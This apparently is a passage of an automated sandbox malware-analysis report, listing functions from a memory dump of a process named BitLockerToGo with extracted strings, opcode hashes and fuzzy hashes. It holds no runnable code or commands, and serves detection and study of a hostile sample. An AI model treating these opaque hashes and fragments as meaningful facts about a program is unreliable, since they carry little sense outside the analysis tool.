tw, xrefs: 0042DD60

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: tw
API String ID: 0-3303754386
Opcode ID: 72429973e5e226cc7d3e64d9f2917c1ed700335b235da0d07770ade294a3d15a
Instruction ID: 9527e3b00db8230af161e4cb9bfb67d2f4119ee1a2a8a5110bf258b05dd03bbc
Opcode Fuzzy Hash: 72429973e5e226cc7d3e64d9f2917c1ed700335b235da0d07770ade294a3d15a
Instruction Fuzzy Hash: DAD1FBB0A083208BC710DF15D86172BB7F1FFA6754F944A1DE8C25B794E3799902CB8A

Function 0042B427 Relevance: 1.7, Strings: 1, Instructions: 449COMMON

Download Yara Rule

Strings

{, xrefs: 0042B89C

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: {
API String ID: 0-4159065886
Opcode ID: 797a237caa1742e1105f08b3b056ed66ce4f36b44df9d58cd2d9b401cb21b26f
Instruction ID: 3d86c7686c2f360358db6f9fc7b7738b72b413f81e0b58ca8027b876a360aa40
Opcode Fuzzy Hash: 797a237caa1742e1105f08b3b056ed66ce4f36b44df9d58cd2d9b401cb21b26f
Instruction Fuzzy Hash: 6BE135B5A083919BC704CF14D49026BBBE2EFD6308F09886EE4C54B382D739ED45CB96

Function 00429C41 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

3, xrefs: 00429E3D

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-2288519025
Opcode ID: 5c57dc5e5f0cf1e21d87f69001fc48c98d13c5a727bb706f903eb9d68636ce01
Instruction ID: 762d79820ca69ecaa4c2a958404159c32d0134d504e5a2a6a2912733675bd9a5
Opcode Fuzzy Hash: 5c57dc5e5f0cf1e21d87f69001fc48c98d13c5a727bb706f903eb9d68636ce01
Instruction Fuzzy Hash: 58F190B1E10329DFDB28CF69D8427AABBB0EF06310F5441AED449AB381D3359945CF96

Function 00442589 Relevance: 1.6, Strings: 1, Instructions: 368COMMON

Download Yara Rule

Strings

?*D, xrefs: 004426B7

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ?*D
API String ID: 0-3467391518
Opcode ID: db9ac4046eda168a550bc2ced4ce87c36afbf18665e1c60eec7aa9f48817f32b
Instruction ID: b15d246112d7ce8d8e95395bce3bb0708ebb95a03421a7ac76e4764bfd418e71
Opcode Fuzzy Hash: db9ac4046eda168a550bc2ced4ce87c36afbf18665e1c60eec7aa9f48817f32b
Instruction Fuzzy Hash: CDD1233A608351CFC714CF39E88022EB7E2AF8A315F598A7DD991873A2D774D941CB85

Function 0040AC70 Relevance: 1.5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

Strings

,, xrefs: 0040ADB8

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 629e74963833aff4c50db3b2649fc82c75480a6cfef640a449fe3019b2711ac2
Instruction ID: 94c4944f39057e3977f5d498aa986126edcb25ae3c079afe0e3a43bef0951d2b
Opcode Fuzzy Hash: 629e74963833aff4c50db3b2649fc82c75480a6cfef640a449fe3019b2711ac2
Instruction Fuzzy Hash: 15B138711083819FD325CF18C88065BBBE1AFA9704F488D2EF5D997782D635E918CB97

Function 0043EB50 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

efg`, xrefs: 0043ED21

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: efg`
API String ID: 2994545307-115929991
Opcode ID: 830ce98f8b587a6cc9746fab8529a88c518401295d892d5443953668f635e6d0
Instruction ID: 8f2963a80f068208391631af0610f95f131f3d3694d03dc28efbdea46647667e
Opcode Fuzzy Hash: 830ce98f8b587a6cc9746fab8529a88c518401295d892d5443953668f635e6d0
Instruction Fuzzy Hash: CD716A32A063104FD714DE2DD8D276BB792FBD8724F19993ED8819B3E1D6789C018785

Function 00440010 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

InA>, xrefs: 00440090

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: InA>
API String ID: 2994545307-2903657838
Opcode ID: 9261efeb09ffa834144925c41173afb7e90e0813db3fecba5a26f064b68ed9b9
Instruction ID: 1002d9fbb041b660b93e3a4f5f84eb2fca0929a97a9dd59435ef69af5a142bb0
Opcode Fuzzy Hash: 9261efeb09ffa834144925c41173afb7e90e0813db3fecba5a26f064b68ed9b9
Instruction Fuzzy Hash: DB616831B083014BE724CE28CCC1B2BB7D2ABC5710F28893EEAD597396D679DC518B49

Function 0042EC10 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

", xrefs: 0042EED4

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction ID: c96af6b3fa42b42ee94c13983c469946e1aee54ac8edea8e52a79ed6b0f28965
Opcode Fuzzy Hash: 7e98b4656ee7a597cc4d0ae5467a7c4b97e5a60aa5ade5d03bcc0f57a0d03316
Instruction Fuzzy Hash: 1871B6327083604BD724896FE88031BB7D2ABC6330F699B2EE4748B3E5D679DC459749

Function 00436780 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081, xrefs: 00436964

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081
API String ID: 0-2471034898
Opcode ID: ab0d9cd8636c2a978c689a3c05a29e32a721648594ab0515a05aefe755f8825d
Instruction ID: a4fc0961e0e9a2504268b69e6fdb5bbc27b3cd606a6f10992c74dcc70a5d4e06
Opcode Fuzzy Hash: ab0d9cd8636c2a978c689a3c05a29e32a721648594ab0515a05aefe755f8825d
Instruction Fuzzy Hash: 6B612676B49A915BD328893C5C6137A6A834FDB330F2ED77EE5F28B3E1C96948064305

Function 004436B0 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

L, xrefs: 004438C5

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: f8b374493aec08cc3c08c9892431ce90c6633d564bc84eb487912f5e9bb4edcd
Instruction ID: 381061570a01dce8ee26a49bf4aa4c8c64d04828996239070ca16d4cfa8797e3
Opcode Fuzzy Hash: f8b374493aec08cc3c08c9892431ce90c6633d564bc84eb487912f5e9bb4edcd
Instruction Fuzzy Hash: FE5167319483644FD319CE29848025FF792ABC5314F1AC93DC8B95B781DBBA890B8BC9

Function 00417FCB Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

+, xrefs: 0041809B

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: +
API String ID: 0-2126386893
Opcode ID: 6452949e114e16e78ce08febda04c9d8d7882e104d3f45fe0f777fee1ad88666
Instruction ID: 8e9a3bcc603677a46813e63c53de684f03d39b9b5726d17352fd5abfb15ab025
Opcode Fuzzy Hash: 6452949e114e16e78ce08febda04c9d8d7882e104d3f45fe0f777fee1ad88666
Instruction Fuzzy Hash: BF510931608B818FD325CF38C4547A7BFE2AB95304F0A486EC1E7877C2DA79A445CB11

Function 0042BA62 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

$0, xrefs: 0042BA79

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $0
API String ID: 0-330564379
Opcode ID: f80d464ef1efe7227b378e3bae23e1509154a317e619f42607afa7863e3ade99
Instruction ID: 3b80ebf03962946228fc185dc7f0041d428819bbdc07eb164cfe59eb5168c9b9
Opcode Fuzzy Hash: f80d464ef1efe7227b378e3bae23e1509154a317e619f42607afa7863e3ade99
Instruction Fuzzy Hash: 241181B9E017168BCB08CF59D8915ADFBB1BB45310B0896ADC412AF241D7399981CBD4

Function 0040C2F0 Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 309984206f4bd3b929f80e25c113858ded775ea590a87a67c8783c94762ca832
Instruction ID: e84f8faaa4e7b9ccc77ca19e803d7de1af694066b61a854812b9f4b64cdd0632
Opcode Fuzzy Hash: 309984206f4bd3b929f80e25c113858ded775ea590a87a67c8783c94762ca832
Instruction Fuzzy Hash: CB52A131608315CBC725DF18E4C026BB3E2FFC4314F258A3ED996A7281D738A955CB8A

Function 00407510 Relevance: .7, Instructions: 681COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cffd5cae396f80a7281c3d20d72cbfa9f85999846369fe56fedbd15ad9e4d8d2
Instruction ID: 577c69a53df46e7f6057bd52eff200d365d88fc700a265c1ac500e842b4ca656
Opcode Fuzzy Hash: cffd5cae396f80a7281c3d20d72cbfa9f85999846369fe56fedbd15ad9e4d8d2
Instruction Fuzzy Hash: A552D63190C3458FC715CF28C0906AABBE1BF85314F198A7EE89967391D778F945CB86

Function 0040B7E0 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15af74178b43dab038f3685f7f493750f2b64f21b56864964eaa2c2b43307182
Instruction ID: 4b0a97aead53d033982432fa2eddcece9b32af3744bf1c2e56a823373fa95ca8
Opcode Fuzzy Hash: 15af74178b43dab038f3685f7f493750f2b64f21b56864964eaa2c2b43307182
Instruction Fuzzy Hash: FF52B270A08B848FE7358B24C4847A7BBE1EB51314F14493EC5D656BC3C37DA885DB9A

Function 0043C5C0 Relevance: .6, Instructions: 636COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9bdb02a898e83ba1fcc573608208861ccbff763bf97f84c0a95739055f059e
Instruction ID: d94aca6e3804dd1a8b223179c7d89490fc1944c0d90826dcfe2f6a413794770e
Opcode Fuzzy Hash: 5d9bdb02a898e83ba1fcc573608208861ccbff763bf97f84c0a95739055f059e
Instruction Fuzzy Hash: 3612453A618310CBD7148F38EC9272B73E1FF4A711F0A587DE886972A1E7799814CB59

Function 00407F50 Relevance: .6, Instructions: 630COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82596d31897d7c342cd1ee10aa73a753cd7dd0be0b2095fa5ee8957b7aec828
Instruction ID: 04cde8926db6bf57ca1ec108f17672f1997668509bd593945607ccf5a9dba1ec
Opcode Fuzzy Hash: e82596d31897d7c342cd1ee10aa73a753cd7dd0be0b2095fa5ee8957b7aec828
Instruction Fuzzy Hash: DC422471514B108FC328CF29C69052ABBF1BF95710B544A2ED6E797B90DB3AF845CB18

Function 0043CAF0 Relevance: .6, Instructions: 569COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bcdcc0df967b269e1e0bfaf0fe0d4f3f8177c25b642a5a905904d4d198982f3
Instruction ID: d0cace7f0287d21fa4388de489ab34e99039b1f40a661cc2793d7006497447ca
Opcode Fuzzy Hash: 7bcdcc0df967b269e1e0bfaf0fe0d4f3f8177c25b642a5a905904d4d198982f3
Instruction Fuzzy Hash: 8D02663A518321CBC7149F38E89126BB3F1FF5A711F0A987DD885972A1EB399C14C789

Function 0044AED2 Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28158a267391247539fae66e4fbe7ac075d8295c5b7ee0f4fb44bf4130d34a25
Instruction ID: c3e26ab15352785ba4f46bb9a2abbff36af9e40df3186cf89c2b4c38877dc56e
Opcode Fuzzy Hash: 28158a267391247539fae66e4fbe7ac075d8295c5b7ee0f4fb44bf4130d34a25
Instruction Fuzzy Hash: 8FE1485179D7C21FE316867809BA2D9BF94EF8311C32A56EFC4C60AC83D24988DBC746

Function 0040A700 Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f898f38b183dd7ac462d6ebccc24597a23839d60c98835a8d81e21318bfe3b
Instruction ID: c42a7c99de1c6267f59e735fd09d968db44e503019a151304d62fcbdb66c87ad
Opcode Fuzzy Hash: 33f898f38b183dd7ac462d6ebccc24597a23839d60c98835a8d81e21318bfe3b
Instruction Fuzzy Hash: 48F1AF716083418FD714CF28C58062BFBE1FF99304F098A6EE9985B392D278D955CB9B

Function 00444590 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c9f366156708957f7419986c55c82c52e8ca77b1930f6582e5dfc5ce0afedb
Instruction ID: 7ad716717e09c1a850a14fac2be52a00b96ed01d4abe6e3232355cffbd81db97
Opcode Fuzzy Hash: e7c9f366156708957f7419986c55c82c52e8ca77b1930f6582e5dfc5ce0afedb
Instruction Fuzzy Hash: 5EC10F756083418FE308CF28E8A12ABB7E2EFC9315F19893DD98587392D778D905CB85

Function 004093E0 Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fb0c62d22c49c406a9912ed695c7668af67347d65ddbf68a34fcfa534b6488e
Instruction ID: 93a3fccd2005fceea60ce06045a471c7baaa67a9a5590bf70595d9b1812cb898
Opcode Fuzzy Hash: 6fb0c62d22c49c406a9912ed695c7668af67347d65ddbf68a34fcfa534b6488e
Instruction Fuzzy Hash: 59D1AC7A618201CFD708CF28D85039AB7E2FB8A315F19853DE84587391D779D965CF42

Function 00442C90 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2d5bc094ca4acf0e481307892bbfd32bd6bc863ec673d8c833569bf43fc854ae
Instruction ID: 5352778583f316b1942b391fddea592de5364f1fe068602a5fe9b0737311cd44
Opcode Fuzzy Hash: 2d5bc094ca4acf0e481307892bbfd32bd6bc863ec673d8c833569bf43fc854ae
Instruction Fuzzy Hash: 36A15C726083006FE734CE25CD82BABB6D2EB88714F58893EF885D7355E6789D408B56

Function 0042D485 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4775ff386c0b285856755284839988e81b97b4f63fea5f06ff0935c2230f48b1
Instruction ID: e9493e429441cd296816c69766863bafd88bdf098192df9cd653f1b780d68e7e
Opcode Fuzzy Hash: 4775ff386c0b285856755284839988e81b97b4f63fea5f06ff0935c2230f48b1
Instruction Fuzzy Hash: 97A154B49083509FD7109F28E89162BBBE1AF92308F54493EF5D6873A2E339D845CB56

Function 0040B310 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6167566dc9038291b138ca4a66024a326036705250c665ab0218bec61faa159c
Instruction ID: 138279c2308e9ffa157bc7d6e8016a2238ab8d9dc4b7937ea1e658de1884896a
Opcode Fuzzy Hash: 6167566dc9038291b138ca4a66024a326036705250c665ab0218bec61faa159c
Instruction Fuzzy Hash: D2D15A729187418FC320CF28C896BABB7E1EB85318F08493DD5D9D7342E778A555CB8A

Function 00434A4D Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7338b675a7da84e0bb670ef26630f7104b633f90ff5e1fa0904a7b8d1b7aff96
Instruction ID: 010aeed76cead055780acdb790fc598146bba4e52ed54b39184838a0a0c52056
Opcode Fuzzy Hash: 7338b675a7da84e0bb670ef26630f7104b633f90ff5e1fa0904a7b8d1b7aff96
Instruction Fuzzy Hash: E1C12876605B408FD3198F3CC851396BFE2AFDA314F1D856DC5DA8B786D639A805C702

Function 00445B60 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9facee889792d2d056b15a7bb8a0922e052c0361c4ef1ad0748ee0ba903dd0b1
Instruction ID: 23289139d84b9259507c2bcead0d58353efdf5a7b5fa2ff38763b3cf44f5ced3
Opcode Fuzzy Hash: 9facee889792d2d056b15a7bb8a0922e052c0361c4ef1ad0748ee0ba903dd0b1
Instruction Fuzzy Hash: 1E81BF742047018BEB14DF18C895A2BB7E2FF99710F19852DE9818B362EB35EC51CB46

Function 0043B500 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f529f5716c2615aa04732de38cf4f5267905e0a0416508f68717be5a4a97830c
Instruction ID: 70b29aef3d9e9ec4fae1490b80b8232069c402c11e2d50974256b781a589c576
Opcode Fuzzy Hash: f529f5716c2615aa04732de38cf4f5267905e0a0416508f68717be5a4a97830c
Instruction Fuzzy Hash: C1A13C71D087C19FD712867CC84139ABFA1EB5B314F1D8699D5D19B382C37A9806C7E2

Function 00445E50 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ccb11b48628e3f02494abd7954ad6e3bef2fec87700fa59eee9bae5cbf502958
Instruction ID: 02dab6d398366845b63a61a755d7fcc054544b0f9ae3831209dfbb13ef84b8f3
Opcode Fuzzy Hash: ccb11b48628e3f02494abd7954ad6e3bef2fec87700fa59eee9bae5cbf502958
Instruction Fuzzy Hash: 9191D2316087119FDB24DF18C881A6BB7E2FF89744F19882DE98187362D739EC51CB86

Function 004430B0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47669169c0b3192459965de4d12994e2f7b0b0f32fb5799ea96622b52169295
Instruction ID: d872cf5cb27ee272576ed0e7f402ca2b0fd4cdc20f75cbbcfd3791ae961d09a1
Opcode Fuzzy Hash: b47669169c0b3192459965de4d12994e2f7b0b0f32fb5799ea96622b52169295
Instruction Fuzzy Hash: 8D71E672A04210ABF7249E69DC4177B73D9EB84B18F044A3EFD49D3382E679ED048796

Function 00414A5E Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb845517bfc2d4608f85ed517062668683d2268f430e461a7ce47a2ae7e328ff
Instruction ID: ea3b685621ca7ff4588ee46760799281373571f907769e113feae04dc676dd2f
Opcode Fuzzy Hash: fb845517bfc2d4608f85ed517062668683d2268f430e461a7ce47a2ae7e328ff
Instruction Fuzzy Hash: 4591F672609F808FD3258B78C8953A7BED1ABD5314F5D8A7EC4EAC37C2D678A1058711

Function 004333C7 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecea681fcee403349881798161f090a58571435533f6c6cf5c86a47363fd44fb
Instruction ID: 6221c27483302d3fe0c64674a8aa105814b5fb91cf67e7c4d62af941ca20d84f
Opcode Fuzzy Hash: ecea681fcee403349881798161f090a58571435533f6c6cf5c86a47363fd44fb
Instruction Fuzzy Hash: 6B811671604B408FD3158F3CC8907A6BBE2AF9B314F1885ADD6EA877A2D638A805C755

Function 00442A70 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b42b9ae39accbd61f1a16d2ba676950beb4ec095e27c279d34d29f0459096b7
Instruction ID: 550ea70b8b6b95573b483702567a557a58907c1cf0cadc91ef497e1fe6587cec
Opcode Fuzzy Hash: 6b42b9ae39accbd61f1a16d2ba676950beb4ec095e27c279d34d29f0459096b7
Instruction Fuzzy Hash: 955145327083155BE3249D29DD82B2FB792F7C9314F19863DF895A73E5DAB8AC018784

Function 00422F90 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bf9affe50fa28d4bb8df01513824f5ad91a5d2bb91046e17247575cd6e0eb6b
Instruction ID: 74654e3b064aed09839fdec9528ac62715665819db71bbdfa64000de28ea038b
Opcode Fuzzy Hash: 6bf9affe50fa28d4bb8df01513824f5ad91a5d2bb91046e17247575cd6e0eb6b
Instruction Fuzzy Hash: F95110267099A147D3288D3C6C213BA6A934FD2331F7C876FD1B2873D5C95D8946531A

Function 0043B2A0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56250c17a4b28a313d30a28ab95050122c99476d751e725de0da4c30fc913e2a
Instruction ID: 96bf7036eb398f5e282012c022282f36f592708e6623db50a4bdb91b7a98ba93
Opcode Fuzzy Hash: 56250c17a4b28a313d30a28ab95050122c99476d751e725de0da4c30fc913e2a
Instruction Fuzzy Hash: 71516DB15087548FE314DF29D49435BBBE1FB88318F044A2EE5E987351E379D6088F86

Function 0042D2A0 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68a261418333d9d50bfafb2a46f5ded94db66043ec31b6149f6f2802288680d
Instruction ID: 7493be70bffb1fa4ee0b616845088667918d6f637dc67730a5ba32dbec01f134
Opcode Fuzzy Hash: f68a261418333d9d50bfafb2a46f5ded94db66043ec31b6149f6f2802288680d
Instruction Fuzzy Hash: 0941E0B8A083108BD314DF18D85136BB7F2FFD6710F05892DE8868B794E7789844CB8A

Function 0043EE40 Relevance: .2, Instructions: 170COMMON

